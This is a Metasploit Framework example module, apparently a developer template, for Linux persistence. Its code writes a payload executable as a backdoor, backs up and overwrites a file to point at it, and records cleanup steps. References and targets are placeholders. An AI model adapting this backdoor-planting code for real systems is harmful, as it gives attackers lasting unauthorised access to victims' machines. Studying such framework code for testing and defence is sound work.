Path: blob/master/modules/exploits/example_linux_persistence.rb
21830 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# This exploit sample shows how a persistence module could be written8# for a linux computer.9#10###11class MetasploitModule < Msf::Exploit::Local12Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html1314# includes: is_root?15include Msf::Post::Linux::Priv16# includes writable?, upload_file, upload_and_chmodx, exploit_data17include Msf::Post::File18# includes generate_payload_exe19include Msf::Exploit::EXE20# includes register_files_for_cleanup21include Msf::Exploit::FileDropper22# defines install_persistence and does our cleanup23# WritableDir24include Msf::Exploit::Local::Persistence25# runs check automatically26prepend Msf::Exploit::Remote::AutoCheck2728def initialize(info = {})29super(30update_info(31info,32# The Name should be just like the line of a Git commit - software name,33# vuln type, class. Preferably apply34# some search optimization so people can actually find the module.35# We encourage consistency between module name and file name.36'Name' => 'Sample Linux Persistence',37'Description' => %q{38This exploit sample shows how a persistence module could be written39for a linux computer.40},41'License' => MSF_LICENSE,42# The place to add your name/handle and email. Twitter and other contact info isn't handled here.43# Add reference to additional authors, like those creating original proof of concepts or44# reference materials.45# It is also common to comment in who did what (PoC vs metasploit module, etc)46'Author' => [47'h00die <[email protected]>', # msf module48'researcher' # original PoC, analysis49],50'Platform' => [ 'linux' ],51# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit52# may only apply to say ARCH_PPC or something else, where a specific arch is required.53# A full list is available in lib/msf/core/payload/uuid.rb54'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],55# What types of sessions we can use this module in conjunction with. Most modules use libraries56# which work on shell and meterpreter, but there may be a nuance between one of them, so best to57# test both to ensure compatibility.58'SessionTypes' => [ 'meterpreter' ], # @clean_up_rc only works in meterpreter sessions59'Targets' => [[ 'Auto', {} ]],60# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access61# since privilege escalation modules typically result in elevated privileges, this is62# generally set to true63'Privileged' => true,64# Often these have https://attack.mitre.org/techniques/ related to them65'References' => [66[ 'OSVDB', '12345' ],67[ 'EDB', '12345' ],68[ 'URL', 'http://www.example.com'],69[ 'CVE', '1978-1234'],70['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], # https://github.com/rapid7/metasploit-framework/pull/2028971],72'DisclosureDate' => '2023-11-29',73# Note that DefaultTarget refers to the index of an item in Targets, rather than name.74# It's generally easiest just to put the default at the beginning of the list and skip this75# entirely.76'DefaultTarget' => 0,77# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html78'Notes' => {79'Stability' => [CRASH_SAFE],80'Reliability' => [],81'SideEffects' => []82}83)84)85# force exploit is used to bypass the check command results86register_advanced_options [87OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])88]89end9091def check92# Check a example app is installed93print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')94return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)95return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)96return CheckCode::Safe('example app is required') unless command_exists?('example')9798CheckCode::Detected('example app is installed')99end100101#102# The install_persistence method installs the persistence, starts the handler, and does all103# the main activities104#105def install_persistence106file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)107backdoor = "#{path}/#{file_name}"108vprint_status("Writing backdoor to #{backdoor}")109# if an arch_cmd payload is selected, write and chmod the file110# if an exe payload is selected, write it as an executable file111if payload.arch.first == 'cmd'112write_file(backdoor, payload.encoded)113chmod(backdoor, 0o755)114else115upload_and_chmodx backdoor, generate_payload_exe116end117# add removing the file to the cleanup script. The script starts as nil, so we want to overwrite it to a string118@clean_up_rc = "rm #{backdoor}\n"119120# back up an example file that we're going to write into so we can restore it121# in our cleanup efforts122example_file = read_file('/tmp/example_file')123backup_file = store_loot('example.file', 'text/plain', session, example_file, 'example_file', '/tmp/example_file backup')124print_status("Created /tmp/example_file backup: #{backup_file}")125# @clean_up_rc is our instance variable string that tracks what needs to be done to remove the persistence by the user.126@clean_up_rc << "upload #{backup_file} /tmp/example_file\n"127write_file('/tmp/example_file', backdoor)128129# the cleanup script will automatically be printed when the module is finished130end131end132133134